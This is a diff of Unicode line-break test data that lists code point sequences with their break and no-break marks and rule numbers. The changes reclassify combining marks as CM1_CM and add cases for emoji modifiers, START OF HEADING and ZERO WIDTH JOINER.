-× 000B ÷ 0308 × 0020 ÷ 0024 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 000B ÷ 0308 × 0024 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [24.03] DOLLAR SIGN (PR) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 0024 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 000B ÷ 0022 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] QUOTATION MARK (QU) ÷ [0.3]
× 000B ÷ 0020 ÷ 0022 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 000B ÷ 0308 × 0022 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 0022 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 000B ÷ 0308 × 0022 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 0022 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 000B ÷ 0020 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [0.3]
× 000B ÷ 0020 × 0020 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 000B ÷ 0308 × 0020 × 0020 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 000B ÷ 0308 × 0020 × 0020 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 000B ÷ 002F ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SOLIDUS (SY) ÷ [0.3]
× 000B ÷ 0020 × 002F ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 000B ÷ 0308 × 002F ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 000B ÷ 0308 × 0020 × 002F ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 000B ÷ 0308 × 002F ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 000B ÷ 0308 × 0020 × 002F ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 000B ÷ 2060 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] WORD JOINER (WJ) ÷ [0.3]
× 000B ÷ 0020 × 2060 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 000B ÷ 0308 × 2060 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 000B ÷ 0308 × 0020 × 2060 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 000B ÷ 0308 × 2060 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 000B ÷ 0308 × 0020 × 2060 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 000B ÷ 200B ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 000B ÷ 0020 × 200B ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 000B ÷ 0308 × 200B ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 000B ÷ 0308 × 0020 × 200B ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 000B ÷ 0308 × 200B ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 000B ÷ 0308 × 0020 × 200B ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 000B ÷ 1F1E6 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 000B ÷ 0020 ÷ 1F1E6 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 000B ÷ 0308 ÷ 1F1E6 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 000B ÷ 0308 ÷ 1F1E6 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 000B ÷ 261D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 000B ÷ 0020 ÷ 261D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 000B ÷ 0308 ÷ 261D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 261D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 000B ÷ 1F3FB ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 000B ÷ 0020 ÷ 1F3FB ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 000B ÷ 0308 ÷ 1F3FB ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 000B ÷ 0001 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 000B ÷ 0020 ÷ 0001 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 000B ÷ 0308 × 0001 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 0001 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 000B ÷ 200D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 000B ÷ 0020 ÷ 200D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 000B ÷ 0308 × 200D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 200D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 000B ÷ 00A7 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 000B ÷ 0020 ÷ 00A7 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 000B ÷ 0308 × 00A7 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 00A7 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 000B ÷ 0308 × 00A7 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 00A7 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 000B ÷ 50005 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 000B ÷ 0020 ÷ 50005 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 000B ÷ 0308 × 50005 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 50005 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 000B ÷ 0308 × 50005 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 50005 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 000B ÷ 0E01 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 000B ÷ 0020 ÷ 0E01 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 000B ÷ 0308 × 0E01 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 0E01 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 000B ÷ 0308 × 0E01 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 0E01 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 000B ÷ 3041 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 000B ÷ 0020 ÷ 3041 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 000B ÷ 0308 × 3041 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 3041 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 000B ÷ 0308 × 3041 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 3041 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× FFFC ÷ 0023 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] NUMBER SIGN (AL) ÷ [0.3]
× FFFC × 0020 ÷ 0023 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× FFFC × 0308 ÷ 0023 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] NUMBER SIGN (AL) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 0023 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× FFFC × 0308 ÷ 0023 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] NUMBER SIGN (AL) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 0023 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× FFFC ÷ 2014 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] EM DASH (B2) ÷ [0.3]
× FFFC × 0020 ÷ 2014 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× FFFC × 0308 ÷ 2014 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] EM DASH (B2) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 2014 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× FFFC × 0308 ÷ 2014 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] EM DASH (B2) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 2014 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× FFFC ÷ 0009 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] <CHARACTER TABULATION> (BA) ÷ [0.3]
× FFFC × 0020 ÷ 0009 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× FFFC × 0308 ÷ 0009 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 0009 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× FFFC × 0308 ÷ 0009 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 0009 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× FFFC ÷ 00B4 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] ACUTE ACCENT (BB) ÷ [0.3]
× FFFC × 0020 ÷ 00B4 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× FFFC × 0308 ÷ 00B4 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] ACUTE ACCENT (BB) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× FFFC × 0308 ÷ 00B4 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] ACUTE ACCENT (BB) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× FFFC × 000B ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× FFFC × 0020 × 000B ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× FFFC × 0308 × 000B ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× FFFC × 0308 × 0020 × 000B ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× FFFC × 0308 × 000B ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× FFFC × 0308 × 0020 × 000B ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× FFFC ÷ FFFC ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× FFFC × 0020 ÷ FFFC ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× FFFC × 0308 ÷ FFFC ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ FFFC ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× FFFC × 0308 ÷ FFFC ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ FFFC ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× FFFC × 007D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× FFFC × 0020 × 007D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× FFFC × 0308 × 007D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× FFFC × 0308 × 0020 × 007D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× FFFC × 0308 × 007D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× FFFC × 0308 × 0020 × 007D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× FFFC × 0029 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× FFFC × 0020 × 0029 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× FFFC × 0308 × 0029 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× FFFC × 0308 × 0020 × 0029 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× FFFC × 0001 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× FFFC × 0020 ÷ 0001 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× FFFC × 0308 × 0001 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 0001 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× FFFC × 0308 × 0029 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× FFFC × 0308 × 0020 × 0029 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× FFFC × 000D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× FFFC × 0020 × 000D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× FFFC × 0308 × 000D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× FFFC × 0308 × 0020 × 000D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× FFFC × 0308 × 000D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× FFFC × 0308 × 0020 × 000D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× FFFC × 0021 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× FFFC × 0020 × 0021 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× FFFC × 0308 × 0021 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
